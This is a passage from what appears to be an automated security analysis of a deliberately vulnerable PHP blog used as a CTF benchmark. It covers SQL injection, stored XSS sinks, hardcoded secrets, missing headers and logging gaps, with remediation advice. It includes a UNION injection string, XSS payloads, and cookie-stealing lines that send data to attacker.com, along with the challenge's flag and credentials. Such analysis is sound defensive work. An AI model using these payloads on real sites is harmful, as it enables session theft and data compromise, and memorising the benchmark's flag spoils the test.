     - `substr($row['content'], 0, 200)` (line 61) - HTML context
   - **Exploitation:** If database is poisoned (via SQL injection), malicious JavaScript executes in all users' browsers
   - **Example Payloads:** `<script>alert(document.cookie)</script>`, `<img src=x onerror=alert(1)>`, `" onload="alert(1)`

3. **Category Dropdown Rendering** (Line 29)
   - **Source:** `echo "<option value='{$row['category']}' {$selected}>{$row['category']}</option>";`
   - **Attack Surface:** **STORED XSS in dropdown**
   - **Exploitation:** Malicious category names execute when rendered in dropdown options

**Security Analysis:** This endpoint is the **primary attack vector** for the application. The SQL injection in the category parameter provides immediate, unauthenticated access to the entire database. An attacker can extract all data (including credentials), modify or delete data, and potentially execute operating system commands if MySQL has FILE privileges or UDF (User Defined Functions) capabilities. The stored XSS vulnerabilities allow persistent compromise of all users who view the poisoned content.

#### Entry Point #2: Admin Login (`admin.php`)

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` (60 lines)

**Network Access:**
- **URL Path:** `/admin.php`
- **HTTP Methods:** GET (login form), POST (credential submission)
- **Port:** 80 (HTTP)
- **Authentication:** Public access to form; requires valid credentials for flag access
- **Exposed to Internet:** Yes (when deployed)

**Functionality:** Admin authentication page that displays a login form on GET request and processes credentials on POST request. Upon successful authentication, sets `$_SESSION['admin_logged_in'] = true` and displays the CTF flag. The page checks if the user is already authenticated via session variable before showing the login form.

**Input Vectors:**

1. **POST Parameter: `username`** (Line 17)
   - **Source:** `$username = mysqli_real_escape_string($conn, $_POST['username']);`
   - **Attack Surface:** SQL injection (limited by `mysqli_real_escape_string()`)
   - **Sanitization:** `mysqli_real_escape_string()` applied
   - **Vulnerability:** Still uses string concatenation instead of prepared statements (line 20)
   - **Risk:** Medium (partially protected but not best practice)

2. **POST Parameter: `password`** (Line 18)
   - **Source:** `$password = mysqli_real_escape_string($conn, $_POST['password']);`
   - **Attack Surface:** SQL injection (limited by `mysqli_real_escape_string()`)
   - **Sanitization:** `mysqli_real_escape_string()` applied
   - **Vulnerability:** Plaintext password comparison in SQL, no rate limiting
   - **Risk:** High (brute force attacks, credential stuffing)

3. **Session Cookie: `PHPSESSID`**
   - **Attack Surface:** Session hijacking, session fixation
   - **Transmitted over:** HTTP (no TLS)
   - **Vulnerability:** Interceptable by network attackers
   - **Risk:** High (session hijacking via MITM)

**Security Analysis:** While this endpoint has partial SQL injection protection via `mysqli_real_escape_string()`, it suffers from multiple critical vulnerabilities: plaintext password storage/comparison, no rate limiting (allowing unlimited brute force attempts), session fixation (no session regeneration after login), and transmission over HTTP allowing credential interception. The known admin credentials (`admin:ONEverySecurePassword123!`) stored in plaintext in the database initialization script make this endpoint exploitable through multiple attack paths.

**Flag Disclosure:**
- **Location:** Lines 6 and 26 of `admin.php`
- **Access Control:** `if (isset($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true)`
- **Flag Value:** `flag{ac81cf96-72fe-462f-8a3f-97d5cd189d42}` (embedded at build time)
- **Bypass Methods:** SQL injection to extract credentials → Login → Flag disclosure, or direct database manipulation via SQL injection in index.php

#### Entry Point #3: Static Assets

**CSS Stylesheet:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/styles.css`
- **URL Path:** `/styles.css`
- **Access:** Public, no authentication
- **Security Impact:** Minimal (informational only)

**Image Directory:**
- **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/images/`
- **URL Path:** `/images/`
- **Files:** `morning-dew.jpg` (273 KB), `sunset.jpg` (226 KB)
- **Access:** Public, served via Apache
- **Apache Config:** Lines 10-11 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/000-default.conf` allow directory listing (`Options Indexes`)
- **Security Impact:** Low (directory listing enabled may expose file structure)

**Out-of-Scope Components (Not Network-Accessible):**
- Database container MySQL service (port 3306 internal only, not published to host)
- Entrypoint script (`entrypoint.sh`) - runs at container startup only
- Build scripts (Makefile, common.mk)
- Docker configuration files
- Git repository files

### Internal Service Communication

**Service Architecture:** The application consists of two Docker containers communicating over an internal Docker network:

**Web Service (`web`):**
- **Container:** PHP 7.4 + Apache
- **Port Exposure:** 80 (published to host)
- **Dependencies:** Depends on `db` service

**Database Service (`db`):**
- **Container:** MySQL 5.7
- **Port Exposure:** 3306 (internal Docker network only)
- **Access:** Only accessible from `web` container

**Trust Relationships:**

1. **Web → Database Trust:** The web container has **implicit full trust** to the database. Connection credentials are hardcoded in the PHP application (`user:password`) with likely unrestricted database privileges. The web container can execute any SQL query without additional authentication or authorization beyond the initial connection. No query-level access controls or privilege separation exists.

2. **Database → Web Trust:** The database blindly accepts and executes any queries from the web container without validation or sanitization. There are no stored procedures, views, or database-level security policies that would limit the web application's access.

3. **User → Web Trust Boundary:** This is the primary attack surface. User input enters the web container through HTTP requests and is processed without adequate validation. The web container trusts that it will receive well-formed input, but implements no defense-in-depth controls when this assumption is violated.

**Security Assumptions:**

1. **Assumption:** The Docker network isolation provides security. **Reality:** Once the web container is compromised (trivial via SQL injection), the attacker has full access to the database service on the internal network.

2. **Assumption:** Hardcoded credentials are secure because they're not exposed to the internet. **Reality:** The SQL injection vulnerability allows extraction of these credentials, and they're also committed to version control in plaintext.

3. **Assumption:** The database service is secure because port 3306 is not published to the host. **Reality:** The web container has full access, and compromising the web container (via SQL injection) provides unrestricted database access.

**Communication Security:** All communication between the web container and database container occurs over **plaintext TCP** on the internal Docker network. No SSL/TLS encryption is configured for MySQL connections. The MySQLi connection strings show no SSL parameters: `new mysqli('db', 'user', 'password', 'blogDB')`. This means database queries, credentials, and all data are transmitted in plaintext, vulnerable to packet sniffing within the Docker environment if an attacker gains access to the network namespace.

### Input Validation Patterns

The application has **critically inadequate input validation** across all entry points:

**Category Filter Input (`index.php`):**
- **Location:** Line 37 - `$category = isset($_GET['category']) ? $_GET['category'] : '';`
- **Validation Applied:** Only checks if `$category == "Secret"` (lines 41-42)
- **Missing Controls:**
  - ❌ No type validation (should be string)
  - ❌ No length restrictions
  - ❌ No whitelist of allowed categories
  - ❌ No character filtering or encoding
  - ❌ No SQL escaping or parameterization
  - ❌ No XSS prevention in output
- **Security Impact:** Direct SQL injection, trivial exploitation

**Login Form Inputs (`admin.php`):**
- **Location:** Lines 17-18
- **Validation Applied:** `mysqli_real_escape_string()` only
- **Missing Controls:**
  - ❌ No username format validation (should match expected format)
  - ❌ No length restrictions (could accept extremely long strings)
  - ❌ No character set restrictions
  - ❌ No rate limiting or brute force protection
  - ❌ No CAPTCHA or proof-of-work
  - ❌ No account lockout mechanism
  - ❌ Not using prepared statements (best practice)
- **Security Impact:** Brute force attacks, potential charset-based SQL injection

**Output Encoding Failures:**

The application **never uses output encoding** in any location:
- ❌ No `htmlspecialchars()` usage anywhere in codebase
- ❌ No `htmlentities()` usage
- ❌ No template engine with auto-escaping (Twig, Blade)
- ❌ No Content Security Policy to mitigate XSS

**Example of Vulnerable Output (line 58 of `index.php`):**
```php
echo "<h2>{$row['title']}</h2>";  // Should be: htmlspecialchars($row['title'], ENT_QUOTES, 'UTF-8')
```

**Secure Coding Pattern (Not Implemented):**
```php
// Input validation
$allowed_categories = ['Nature', 'Tech', 'Cooking', 'Photography', 'Health'];
$category = isset($_GET['category']) ? $_GET['category'] : '';
if (!in_array($category, $allowed_categories, true)) {
    $category = '';
}

// Parameterized query
$stmt = $conn->prepare("SELECT * FROM posts WHERE published = 1 AND category = ?");
$stmt->bind_param("s", $category);
$stmt->execute();
$result = $stmt->get_result();

// Output encoding
while ($row = $result->fetch_assoc()) {
    echo "<h2>" . htmlspecialchars($row['title'], ENT_QUOTES | ENT_HTML5, 'UTF-8') . "</h2>";
}
```

### Background Processing

**Finding:** The application has **no background processing**, asynchronous jobs, or task queues. All processing occurs synchronously within the HTTP request-response cycle. There are no job schedulers (cron jobs, systemd timers, scheduled tasks), no message queues (RabbitMQ, Redis, SQS), no background workers (Celery, Sidekiq, Resque), and no event-driven architectures.

**Analysis:** The database initialization occurs via the `entrypoint.sh` script (line 10-11) at container startup, which runs synchronously before Apache starts. This is not a background job but rather a one-time initialization process. There are no recurring tasks, batch processes, or asynchronous operations triggered by user input.

**Security Impact:** Not applicable - no background processing attack surface exists.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Critical Finding: Secrets are stored insecurely throughout the application with multiple exposure points.**

**Secret Storage Locations:**

1. **Environment File (`.env`):**
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/.env`
   - **Line 1:** `FLAG="flag{ac81cf96-72fe-462f-8a3f-97d5cd189d42}"`
   - **Security Issues:**
     - Committed to version control (critical exposure)
     - No `.gitignore` protection
     - Plaintext storage
     - Visible to anyone with repository access
   - **Recommendation:** Add `.env` to `.gitignore`, remove from git history, use secret management system

2. **Docker Compose Configuration:**
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/docker-compose.yml`
   - **Lines 12-15:** Web service database credentials
     ```yaml
     MYSQL_HOST: db
     MYSQL_USER: user
     MYSQL_PASSWORD: password
     MYSQL_DATABASE: blogDB
     ```
   - **Lines 26-29:** Database root credentials
     ```yaml
     MYSQL_ROOT_PASSWORD: rootpassword
     MYSQL_DATABASE: blogDB
     MYSQL_USER: user
     MYSQL_PASSWORD: password
     ```
   - **Security Issues:**
     - Hardcoded credentials in plaintext
     - Committed to version control
     - Not using Docker secrets feature
     - Weak passwords (`password`, `rootpassword`)
   - **Recommendation:** Use Docker secrets, environment variable substitution, external secret management

3. **Application Source Code:**
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php` line 2
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` line 12
   - **Code:** `$conn = new mysqli('db', 'user', 'password', 'blogDB');`
   - **Security Issues:**
     - Credentials hardcoded in PHP source
     - Duplicated across multiple files
     - Committed to version control
     - Visible in code reviews, logs, error messages
   - **Recommendation:** Use environment variables accessed via `getenv()`, implement configuration management

4. **Database Initialization Script:**
   - **Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/db_init.sql`
   - **Line 46:** `INSERT INTO users (username, password) VALUES ('admin', 'ONEverySecurePassword123!');`
   - **Security Issues:**
     - Admin password in plaintext
     - Committed to version control
     - Hardcoded credentials
   - **Recommendation:** Generate passwords at deployment time, use password hashing, inject via secrets

**Secret Rotation:** The application has **no secret rotation mechanism**. All credentials are static, hardcoded values with no expiration, rotation policy, or automated refresh capability. There is no mechanism to update credentials without redeploying containers or manually editing configuration files.

**Secret Access Patterns:**
- **Entrypoint Script:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/entrypoint.sh` line 10 passes password on command line: `mysql -u "$MYSQL_USER" -p"$MYSQL_PASSWORD"` - This exposes the password in process listings visible to other processes on the system.

### Configuration Security

**Environment Separation:** The application has **no environment separation**. The same configuration (including hardcoded credentials) would be used in development, staging, and production. There are no separate configuration files for different environments, no environment-specific secrets, and no deployment-specific overrides.

**Secret Handling in Configuration:**

All secrets are handled insecurely:
- ❌ No use of secret management systems (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault)
- ❌ No Docker secrets (swarm mode secrets)
- ❌ No Kubernetes secrets
- ❌ No encryption of configuration files
- ❌ Secrets committed to version control
- ❌ No separation between configuration and secrets

**Infrastructure Security Headers Configuration:**

**Critical Finding: Security headers are completely missing.**

**Apache Configuration Analysis:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/000-default.conf`
- **Lines 1-23:** Complete VirtualHost configuration

**Missing Security Headers:**

1. **Strict-Transport-Security (HSTS):** NOT configured
   - **Expected Location:** Should be in Apache config with `Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"`
   - **Impact:** No protection against SSL stripping attacks
   - **Note:** Not applicable since application runs on HTTP only

2. **Cache-Control:** NOT explicitly configured
   - **Expected Location:** Apache config or PHP headers
   - **Impact:** Browsers may cache sensitive content
   - **Recommendation:** `Cache-Control: no-store, no-cache, must-revalidate, private` for authenticated pages

3. **X-Content-Type-Options:** NOT configured
   - **Expected Location:** `Header set X-Content-Type-Options "nosniff"`
   - **Impact:** MIME confusion attacks possible

4. **X-Frame-Options:** NOT configured
   - **Expected Location:** `Header set X-Frame-Options "DENY"`
   - **Impact:** Vulnerable to clickjacking attacks

5. **X-XSS-Protection:** NOT configured
   - **Expected Location:** `Header set X-XSS-Protection "1; mode=block"`
   - **Impact:** No browser-level XSS protection (though this header is deprecated)

6. **Content-Security-Policy (CSP):** NOT configured
   - **Expected Location:** `Header set Content-Security-Policy "default-src 'self'; script-src 'self'"`
   - **Impact:** No protection against XSS, injection attacks

7. **Referrer-Policy:** NOT configured
   - **Expected Location:** `Header set Referrer-Policy "strict-origin-when-cross-origin"`
   - **Impact:** Information leakage through referrer header

**Nginx/Ingress/CDN Configuration:** The application uses **Apache only** - there is no Nginx reverse proxy, Kubernetes Ingress, or CDN configuration present in the codebase.

**Recommendation:** Add security headers configuration to `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/000-default.conf` after line 14:
```apache
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set X-XSS-Protection "1; mode=block"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'"
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"
```

### External Dependencies

**Dependency Analysis:**

The application has **minimal external dependencies**:

1. **PHP Extensions:**
   - `mysqli` - MySQL database driver (explicitly installed in Dockerfile line 7)
   - Standard PHP core extensions

2. **Docker Base Images:**
   - `php:7.4-apache` (web container) - **SECURITY RISK:** PHP 7.4 reached end-of-life November 2022, no security updates
   - `mysql:5.7` (database container) - **SECURITY RISK:** MySQL 5.7 approaching EOL, older version with known vulnerabilities

3. **System Packages:**
   - `default-mysql-client` (installed in Dockerfile line 5) - for database initialization
   - `netcat` (installed in Dockerfile line 5) - for database readiness check

**No Package Managers:** The application has no `composer.json` (PHP), `package.json` (Node.js), `requirements.txt` (Python), or `go.mod` (Go) files. All dependencies are from base Docker images only.

**Security Implications:**

1. **Outdated Software:** PHP 7.4 has known security vulnerabilities that will never be patched. The application is running on an unsupported platform.

2. **Supply Chain Risk:** The application uses official Docker Hub images without version pinning (uses `:7.4` and `:5.7` tags instead of specific version hashes). This means rebuilding the container could pull different versions with potential security issues.

3. **No Dependency Scanning:** There is no evidence of vulnerability scanning (Snyk, Dependabot, Trivy, Grype) in the build process or CI/CD pipeline.

**Third-Party Services:** The application does **not integrate with any external third-party services**. It is completely self-contained with no API calls to external services, no cloud service dependencies, no CDN, no payment processors, no email services, and no external authentication providers.

### Monitoring & Logging

**Security Event Visibility:**

The application has **severely inadequate logging and monitoring**:

**Error Logging Configuration:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/Dockerfile`
- **Lines 9-13:**
  ```dockerfile
  display_errors = On
  display_startup_errors = On
  error_reporting = E_ALL
  log_errors = On
  error_log = /dev/stderr
  ```

**Analysis:**
- ✅ `log_errors = On` - Errors are logged (good)
- ✅ `error_log = /dev/stderr` - Logs go to stderr (Docker-appropriate)
- ❌ `display_errors = On` - **CRITICAL:** Errors displayed to users (information disclosure)
- ❌ `display_startup_errors = On` - **CRITICAL:** Startup errors displayed to users

**Missing Logging:**

1. **Authentication Events:** No logging of:
   - Login attempts (successful or failed)
   - Session creation
   - Session destruction
   - Account lockouts
   - Password changes

2. **Authorization Events:** No logging of:
   - Access to protected resources (flag disclosure)
   - Authorization failures
   - Privilege changes

3. **Data Access:** No logging of:
   - Database queries
   - Sensitive data access
   - Data modifications
   - Data exports

4. **Security Events:** No logging of:
   - SQL injection attempts
   - XSS attempts
   - Session hijacking attempts
   - Brute force attacks
   - Suspicious patterns (rapid requests, scanner detection)

5. **Application Events:** No logging of:
   - HTTP requests (access logs minimal)
   - Error conditions
   - Application state changes

**Apache Access Logs:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/000-default.conf`
- **Line 15:** `CustomLog /var/log/apache2/access.log combined`
- **Line 16:** `ErrorLog /var/log/apache2/error.log`

**Analysis:**
- ✅ Basic access logging configured
- ❌ No custom log format for security events
- ❌ No structured logging (JSON format)
- ❌ No log correlation IDs
- ❌ Logs not shipped to centralized system

**Monitoring:**

The application has **no security monitoring** whatsoever:
- ❌ No SIEM (Security Information and Event Management)
- ❌ No alerting on security events
- ❌ No anomaly detection
- ❌ No intrusion detection system (IDS)
- ❌ No file integrity monitoring
- ❌ No log analysis
- ❌ No metrics collection (Prometheus, CloudWatch, etc.)
- ❌ No uptime monitoring
- ❌ No performance monitoring
- ❌ No health checks (beyond basic Docker healthcheck on line 18-19 of docker-compose.yml)

**Docker Health Checks:**
- **Web Container:** Line 18-19 of docker-compose.yml: `test: ["CMD", "curl", "-f", "http://127.0.0.1:80/"]`
- **Database Container:** Line 32-33: `test: ["CMD", "mysqladmin", "ping", "--silent"]`

**Analysis:** Basic health checks verify service availability but provide no security monitoring or detection capabilities.

**Recommendations:**

1. **Immediate:**
   - Set `display_errors = Off` in production
   - Implement authentication event logging
   - Add structured logging with correlation IDs

2. **Short-term:**
   - Implement centralized logging (ELK stack, Splunk, CloudWatch)
   - Add security event detection rules
   - Implement alerting for critical events

3. **Long-term:**
   - Integrate SIEM solution
   - Implement anomaly detection and behavior analysis
   - Add file integrity monitoring
   - Implement comprehensive audit logging

---

## 7. Overall Codebase Indexing

The XBEN-078-24 codebase is intentionally minimal, representing a vulnerable-by-design CTF challenge that simulates a legacy PHP blog application. The repository structure follows a standard Docker-based web application layout with clear separation between application code, infrastructure configuration, and data initialization scripts, though security best practices are deliberately absent to create exploitable vulnerabilities.

**Directory Structure and Organization:**

```
/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/
├── .env                          # Environment variables (FLAG storage) - COMMITTED TO GIT
├── .git/                         # Git repository (contains secrets in history)
├── .xben_build_done              # Build status marker file
├── Makefile                      # Build automation (includes common.mk)
├── benchmark.json                # CTF challenge metadata
├── docker-compose.yml            # Multi-container orchestration
└── app/                          # Application directory
    ├── 000-default.conf          # Apache VirtualHost configuration
    ├── Dockerfile                # Web container build definition
    ├── db_init.sql               # Database schema and seed data
    ├── entrypoint.sh             # Container initialization script
    └── html/                     # Web root (Apache DocumentRoot)
        ├── admin.php             # Authentication endpoint (60 lines)
        ├── index.php             # Main blog page (73 lines)
        ├── styles.css            # Styling (28 lines)
        └── images/               # Static image assets
            ├── morning-dew.jpg
            └── sunset.jpg
```

**Code Organization Patterns:**

The application follows an **anti-pattern architecture** typical of early-2000s PHP development, with no framework, no MVC separation, and all logic embedded in presentation files. Each PHP file is a monolithic script containing database connection logic, query execution, HTML generation, and output rendering in a single file. There is no code reuse, no abstraction layer, no routing system, and no security middleware. Database credentials are duplicated across files (appearing identically in both `index.php` line 2 and `admin.php` line 12), demonstrating poor configuration management.

**Build and Deployment Tooling:**

The application uses **Docker Compose** as its primary deployment mechanism. The `docker-compose.yml` file (36 lines) defines a two-service architecture: a `web` service built from the local Dockerfile with port 80 exposed, and a `db` service using the official `mysql:5.7` image. The build process is orchestrated via a **Makefile** that includes an external `../common.mk` file (not present in the scanned directory, suggesting this is part of a larger CTF infrastructure). A `.xben_build_done` marker file indicates successful build completion, suggesting automated testing or validation.

**Container Build Process:**

The **Dockerfile** (23 lines) follows a multi-stage pattern starting from `php:7.4-apache`, installing required system packages (`default-mysql-client` and `netcat` for orchestration), enabling the mysqli PHP extension, configuring insecure PHP error settings, copying application files, setting up Apache configuration, and performing a critical build-time injection where the FLAG variable from `.env` is injected into `admin.php` using `sed` (line 21: `RUN sed -i s/@FLAG@/$FLAG/g /var/www/html/admin.php`). This build-time secret injection means the flag is permanently embedded in the container image and exposed if the image is extracted or leaked.

**Database Initialization Architecture:**

The database is initialized via the **entrypoint.sh** script (18 lines) which implements a wait loop using netcat to ensure the MySQL service is accepting connections before executing the `db_init.sql` script. The initialization SQL file (71 lines) creates three tables (`posts`, `comments`, `users`), seeds 11 blog posts across various categories with one deliberately unpublished post (line 35, `published=0`), creates a "Secret" category that is filtered in application logic, and inserts the default admin user with a plaintext password. This seed data is designed to create multiple vulnerability scenarios including hidden content discovery, category filter bypass, and credential extraction.

**Significant Tooling and Conventions:**

1. **Docker Healthchecks:** Both containers implement health checks - the web service uses `curl -f http://127.0.0.1:80/` to verify Apache is responding, while the database uses `mysqladmin ping --silent` to verify MySQL is ready. These health checks are used by Docker Compose to manage service dependencies.

2. **Apache Configuration:** The `000-default.conf` file (23 lines) defines a minimal VirtualHost on port 80 with document root at `/var/www/html`, enables directory indexes and symbolic link following (security vulnerabilities), enables mod_rewrite (though it's not used in the application), and configures basic logging. No security headers are configured.

3. **CTF Metadata:** The `benchmark.json` file (11 lines) defines challenge parameters including the challenge ID (`xben-078-24`), category (`Basic SQL Injection`), difficulty level, win condition (accessing `/admin.php` with authentication), and timeout (20 minutes). This metadata suggests the application is part of an automated CTF testing framework.

**Impact on Security Component Discoverability:**

The minimal codebase structure makes security analysis straightforward - there are only two PHP files to audit, one database schema to review, and one Docker configuration to examine. However, this simplicity is deceptive because it lacks any security infrastructure. There are no security libraries to discover, no authentication middleware to analyze, no validation frameworks to assess, and no defense-in-depth layers to evaluate. The "security components" consist entirely of a single `mysqli_real_escape_string()` call, making vulnerability identification trivial but also making secure remediation require complete architectural reimplementation. The absence of a framework means all security controls would need to be implemented from scratch rather than leveraging existing, tested solutions.

**Code Generation and Testing:** There is no evidence of code generation tools, automated testing frameworks, or CI/CD pipelines beyond the basic Makefile build automation. No test files (PHPUnit, pytest, jest), no test directories, and no test configurations exist. The `.git` directory suggests version control is in use, but the presence of secrets in `.env` and `docker-compose.yml` in the repository indicates poor secret management and CI/CD security practices.

---

## 8. Critical File Paths

### Configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/docker-compose.yml` - Container orchestration with hardcoded credentials (lines 12-15, 26-29)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/Dockerfile` - Web container build with insecure PHP error configuration (lines 9-13) and FLAG injection (line 21)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/000-default.conf` - Apache VirtualHost configuration with directory listing enabled (line 10) and no security headers
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/.env` - Environment variables containing CTF flag in plaintext (line 1)

### Authentication & Authorization
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` - Authentication endpoint with session management (line 2), SQL injection protection via mysqli_real_escape_string (lines 17-18), authentication query (line 20), session setting (line 25), and flag disclosure (lines 6, 26)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/db_init.sql` - Users table schema (lines 23-27) and plaintext admin credentials (line 46)

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php` - Main blog page with SQL injection vulnerability (line 45), category filter input (line 37), stored XSS in post rendering (lines 57-62), and XSS in category dropdown (line 29)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` - Admin authentication and flag disclosure endpoint

### Data Models & DB Interaction
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/db_init.sql` - Complete database schema: posts table (lines 7-14), comments table (lines 15-21), users table (lines 23-27), seed data for 11 blog posts (lines 29-50), and admin user credentials (line 46)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php` - Database connection (line 2) and unsafe SQL query construction (lines 39-49)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` - Database connection (line 12) and authentication query (lines 17-20)

### Dependency Manifests
- None present (no composer.json, package.json, requirements.txt, or go.mod - application has minimal dependencies from base Docker images only)

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/.env` - FLAG variable (line 1)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/docker-compose.yml` - Database credentials (lines 12-15 for web service, lines 26-29 for database service)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php` - Hardcoded database credentials (line 2)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` - Hardcoded database credentials (line 12), FLAG placeholder replaced at build time (lines 6, 26)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/db_init.sql` - Plaintext admin password (line 46)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/entrypoint.sh` - Database credentials passed on command line (line 10)

### Middleware & Input Validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php` - Vulnerable category input handling (lines 37-47) with no validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` - Partial input sanitization with mysqli_real_escape_string (lines 17-18)

### Logging & Monitoring
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/Dockerfile` - PHP error logging configuration (lines 9-13)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/000-default.conf` - Apache access and error log paths (lines 15-16)

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/docker-compose.yml` - Complete service orchestration with web and database services
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/Dockerfile` - Web container build definition
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/entrypoint.sh` - Container initialization with database readiness check (lines 3-8) and schema initialization (lines 10-11)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/Makefile` - Build automation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/benchmark.json` - CTF challenge metadata

### CTF Flag Storage
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/.env` - FLAG environment variable definition (line 1): `FLAG="flag{ac81cf96-72fe-462f-8a3f-97d5cd189d42}"`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/docker-compose.yml` - FLAG passed as build argument (line 6)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/Dockerfile` - FLAG injected into admin.php at build time via sed (lines 20-21)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` - FLAG placeholder @FLAG@ replaced at build time, displayed after authentication (lines 6, 26)

---

## 9. XSS Sinks and Render Contexts

### Overview

The application contains **multiple critical stored XSS vulnerabilities** in network-accessible web pages. All XSS sinks occur in the main blog page (`index.php`) where database content is rendered without any output encoding or sanitization. There are **no client-side JavaScript frameworks** or template engines - all rendering occurs server-side via PHP echo statements. The application has **zero output encoding** throughout the entire codebase - no instances of `htmlspecialchars()`, `htmlentities()`, or any other sanitization functions exist.

**Attack Chain:** The primary attack vector combines SQL injection to poison the database with malicious payloads, followed by stored XSS execution when legitimate users view the compromised content. This represents a **persistent, site-wide compromise** affecting all visitors.

### HTML Body Context

#### Sink #1: Post Title Rendering

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php`, Line 58

**Code:**
```php
echo "<h2>{$row['title']}</h2>";
```

**Vulnerability Details:**
- **Render Context:** HTML body context inside `<h2>` tag
- **Data Source:** `posts.title` column from database (VARCHAR 255)
- **User Controllability:** High - Can be injected via SQL injection in category parameter
- **Sanitization:** None - Direct output of database value
- **Impact:** Arbitrary HTML/JavaScript execution in all users' browsers
- **Network Accessibility:** YES - Main page at `http://[host]/index.php`

**Exploitation Path:**
```
1. SQL Injection: ?category=' UNION SELECT 1,'<script>alert(document.cookie)</script>',3,4,5,6,7-- -
2. Malicious title stored in database
3. All users visiting homepage execute the JavaScript
```

**Example Payloads:**
```html
<script>alert(document.cookie)</script>
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
```

#### Sink #2: Post Category Rendering

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php`, Line 59

**Code:**
```php
echo "<p>Category: {$row['category']}</p>";
```

**Vulnerability Details:**
- **Render Context:** HTML body context inside `<p>` tag
- **Data Source:** `posts.category` column from database (VARCHAR 100)
- **User Controllability:** High - Can be injected via SQL injection
- **Sanitization:** None
- **Impact:** Arbitrary HTML/JavaScript execution
- **Network Accessibility:** YES - Main page at `http://[host]/index.php`

**Example Payloads:**
```html
<script>alert('XSS in category')</script>
</p><script>alert(1)</script><p>
```

#### Sink #3: Post Content Rendering

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php`, Line 61

**Code:**
```php
echo "<p>" . substr($row['content'], 0, 200) . "...</p>";
```

**Vulnerability Details:**
- **Render Context:** HTML body context inside `<p>` tag
- **Data Source:** `posts.content` column from database (TEXT type, truncated to 200 chars)
- **User Controllability:** High - Can be injected via SQL injection
- **Sanitization:** None (substr only limits length, does not sanitize)
- **Impact:** Arbitrary HTML/JavaScript execution (payloads must be under 200 characters)
- **Network Accessibility:** YES - Main page at `http://[host]/index.php`

**Example Payloads:**
```html
<script>eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))</script>
<img src=x onerror=fetch('http://attacker.com?c='+document.cookie)>
```

### HTML Attribute Context

